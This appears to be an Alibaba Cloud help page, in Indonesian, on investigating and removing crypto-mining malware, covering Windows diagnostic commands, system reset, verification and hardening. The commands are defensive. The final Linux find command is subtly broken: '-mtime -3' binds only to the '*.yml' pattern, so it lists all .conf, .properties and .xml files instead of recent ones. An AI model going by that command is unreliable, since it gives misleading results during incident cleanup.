    Sistem Windows

    1. Di PowerShell, jalankan perintah berikut untuk menginvestigasi proses penambangan kripto mencurigakan berdasarkan penggunaan CPU.

      Catatan 
       ps | sort -des cpu
 While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}

    2. Jalankan perintah berikut untuk melihat path executable dan argumen command-line dari proses penambangan kripto.

      Catatan 
      wmic process where processid=xxx get processid,executablepath,commandline,name     // xxx is the process PID

    3. Hentikan proses penambangan kripto dan bersihkan file Trojan.

    4. Jalankan perintah berikut untuk memeriksa koneksi pada port jaringan mencurigakan.

      Catatan 
      netstat -ano | findstr xxx            // xxx is the suspicious network port

    5. Jalankan perintah berikut untuk memeriksa apakah file hosts server berisi alamat mining pool dari program penambangan kripto.

      Catatan 
      type  C:\Windows\System32\drivers\etc\hosts

    6. Jalankan perintah berikut untuk memeriksa apakah ada tugas terjadwal yang diatur oleh program penambangan kripto.

      Catatan 
      schtasks /query

    Reset sistem

    Jika virus telah menginfiltrasikan sistem secara mendalam, masalah berulang setelah pembersihan manual, atau server tidak berisi data bisnis penting, kami merekomendasikan opsi ini. Kami sangat menyarankan Anda mencadangkan data penting sebelum mereset sistem server untuk memastikan pembersihan lengkap program penambangan kripto.

    1. Buat snapshot untuk mencadangkan data penting di server. Untuk informasi lebih lanjut, lihat Create a snapshot for a disk.

    2. Re-inisialisasi disk sistem: Di Konsol ECS, pilih instance target dan lakukan operasi Re-initialize System Disk. Tindakan ini sepenuhnya menghapus disk sistem dan mengembalikannya ke kondisi awal. Untuk informasi lebih lanjut, lihat Re-initialize a system disk (reset an operating system).

    3. Gunakan snapshot untuk membuat disk cloud baru. Untuk informasi lebih lanjut, lihat Create a disk from a snapshot.

    4. Sambungkan disk cloud ke server dengan sistem yang telah diinstal ulang. Untuk informasi lebih lanjut, lihat Attach a data disk.

    5. Login ke server dan salin hanya data bisnis (seperti kode website dan file database) dari disk data yang disambungkan.

      Penting

      Jangan memulihkan file executable, file konfigurasi sistem, atau skrip apa pun dari snapshot lama untuk menghindari reintroduksi backdoor.

    Beli layanan tanggap darurat

    Alibaba Cloud menawarkan Layanan Tanggap Darurat di mana insinyur keamanan profesional dapat membantu Anda menyelesaikan masalah seperti infeksi virus. Layanan ini mencakup:

    • Pembersihan menyeluruh Trojan, virus, akun abnormal, file abnormal, webshell, tautan tersembunyi, dan masalah lain di sistem Anda.

    • Analisis metode intrusi penyerang untuk menentukan akar penyebabnya.

    • Panduan penguatan keamanan.

    Untuk informasi lebih lanjut, lihat Emergency Response Service.

    Verifikasi remediasi

    Setelah pembersihan, Anda harus memverifikasi hasilnya dan memperkuat sistem untuk memastikan keamanan dan mencegah infeksi ulang.

    1. Pindai lagi: Gunakan fitur Antivirus atau Agentless Detection di Security Center untuk melakukan pemindaian penuh pada server dan pastikan tidak ada peringatan.

    2. Monitor performa: Terus monitor utilisasi CPU server untuk memastikan telah kembali ke level normal.

    3. Verifikasi dengan pemindaian berkala: Satu kali pemindaian yang lolos tidak menjamin backdoor telah sepenuhnya dihapus. Beberapa backdoor penambangan sisa dideploy ulang oleh tugas terjadwal atau proses daemon setelah pembersihan awal. Konfigurasikan tugas Antivirus atau Agentless Detection berulang di Security Center, dan terus amati beberapa siklus pemindaian berturut-turut setelah pembersihan. Pastikan backdoor telah dihapus hanya setelah setiap siklus dalam jendela tersebut tidak melaporkan peringatan terkait penambangan kripto.

    4. Verifikasi dengan memonitor peringatan: Terus periksa halaman Detection and Response > Security Events di Security Center untuk peringatan penambangan kripto, proses berbahaya, dan persistensi terkait. Jika tidak ada peringatan semacam itu yang muncul kembali untuk beberapa waktu setelah pembersihan, backdoor belum dipicu ulang. Jika peringatan jenis yang sama muncul kembali, mekanisme persistensi seperti tugas terjadwal, item startup, atau kunci publik SSH mungkin masih tersisa. Dalam kasus ini, kembali ke langkah pembersihan manual untuk investigasi lebih lanjut.

    5. Verifikasi kerentanan terkait: Program penambangan kripto biasanya ditanamkan melalui kerentanan sistem atau aplikasi. Jika titik masuk intrusi tidak diperbaiki, server dapat terinfeksi ulang setelah pembersihan. Gunakan fitur vulnerability scanning di Security Center untuk memastikan kerentanan yang dieksploitasi dalam intrusi ini telah diperbaiki, sehingga program penambangan kripto tidak dapat ditanamkan ulang setelah backdoor dihapus.

    6. Tangani peringatan yang path filenya tidak ada: Jika path file yang ditentukan dalam email peringatan tidak ada di server dan beban CPU normal, Anda dapat Ignore peringatan tersebut atau tandai sebagai Handled di daftar event keamanan. Login ke Konsol Security Center, pilih Detection and Response > Security Events, temukan peringatan, lalu pilih Ignore atau Handled di kolom Actions. Setelah menyelesaikan operasi, periksa apakah peringatan baru dihasilkan. Jika tidak ada peringatan baru yang muncul, Anda dapat dengan aman mengabaikan peringatan tersebut.

    Penguatan keamanan

    • Aktifkan pertahanan proaktif untuk perilaku host berbahaya: Fitur pertahanan proaktif yang disediakan oleh Security Center dapat secara akurat mencegat program penambangan kripto, sehingga mencegah insiden penambangan kripto sebelum terjadi. Untuk informasi lebih lanjut, lihat Proactive Defense.

    • Perkuat kontrol akses:

      • Terapkan prinsip hak istimewa minimal pada security group: Konfigurasikan security group ECS untuk membuka hanya port bisnis yang diperlukan (seperti 80 dan 443). Untuk port manajemen seperti SSH (22) dan RDP (3389), pastikan hanya dibuka untuk alamat IP tepercaya dan tetap (seperti jaringan kantor Anda atau IP bastion host).

      • Kebijakan password: Konfigurasikan password kuat untuk sistem database atau sistem file (MySQL, PolarDB, MaxCompute, Redis, NAS, OSS), konsol manajemen layanan (seperti BT-Panel, Nacos), dan akun pengguna sistem operasi (SSH, RDP). Batasi jumlah percobaan password salah untuk mencegah intrusi brute-force.

    • Manajemen kerentanan dan patch:

      • Perbarui segera: Secara rutin terapkan patch keamanan terbaru ke sistem operasi dan perangkat lunak aplikasi Anda (seperti server web dan database).

      • Pemindaian kerentanan: Gunakan fitur pemindaian kerentanan di Security Center untuk secara proaktif menemukan dan memperbaiki kerentanan di sistem dan aplikasi Anda.

    • Perkuat keamanan aplikasi: Sebelum men-deploy kode bisnis, lakukan pengujian keamanan kode atau integrasikan dengan Web Application Firewall untuk mempertahankan diri dari serangan OWASP umum seperti SQL injection, XSS, kerentanan plugin server web umum, unggah Trojan, dan akses tidak sah ke sumber daya inti. Hal ini membantu mencegah kompromi sistem melalui kerentanan aplikasi.

    • Keamanan kredensial: Hindari hardcoding AccessKey Alibaba Cloud di kode atau file konfigurasi Anda. Gunakan Peran RAM atau Peran RAM Instans untuk memberikan izin kepada aplikasi, mengikuti prinsip hak istimewa minimal. Untuk informasi lebih lanjut, lihat Securely use credentials.

    • Pulihkan file konfigurasi aplikasi yang dimodifikasi: Selain mengonsumsi sumber daya CPU, program penambangan kripto dapat memodifikasi file konfigurasi aplikasi di server, seperti file .properties RocketMQ atau file .conf Nginx, menyebabkan anomali layanan atau menanamkan backdoor persisten.

      1. Temukan file konfigurasi yang baru dimodifikasi: Jalankan perintah berikut untuk menemukan file konfigurasi yang dimodifikasi baru-baru ini. Cari berdasarkan beberapa ekstensi, bukan hanya .conf, karena aplikasi seperti RocketMQ menggunakan format .properties.

        find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3
        Catatan

        Jangan hanya mencari file .conf. Aplikasi seperti RocketMQ menggunakan file konfigurasi dalam format .properties, dan hanya mencari .conf akan melewatkannya.

      2. Buat cadangan snapshot: Sebelum memulihkan file konfigurasi apa pun, buat cadangan snapshot Instance ECS, karena konfigurasi yang salah dapat menyebabkan aplikasi gagal start. Untuk informasi lebih lanjut, lihat Create a snapshot for a disk.

      3. Pulihkan file konfigurasi: Pulihkan file konfigurasi yang dimodifikasi dari snapshot atau cadangan tepercaya lainnya, dan verifikasi bahwa konten file telah dikembalikan ke konfigurasi aslinya.

      4. Restart layanan dan verifikasi: Setelah pemulihan, restart layanan yang terpengaruh (misalnya, jalankan mqshutdown atau mqshutdownsrv untuk me-restart RocketMQ) dan verifikasi bahwa layanan berfungsi normal.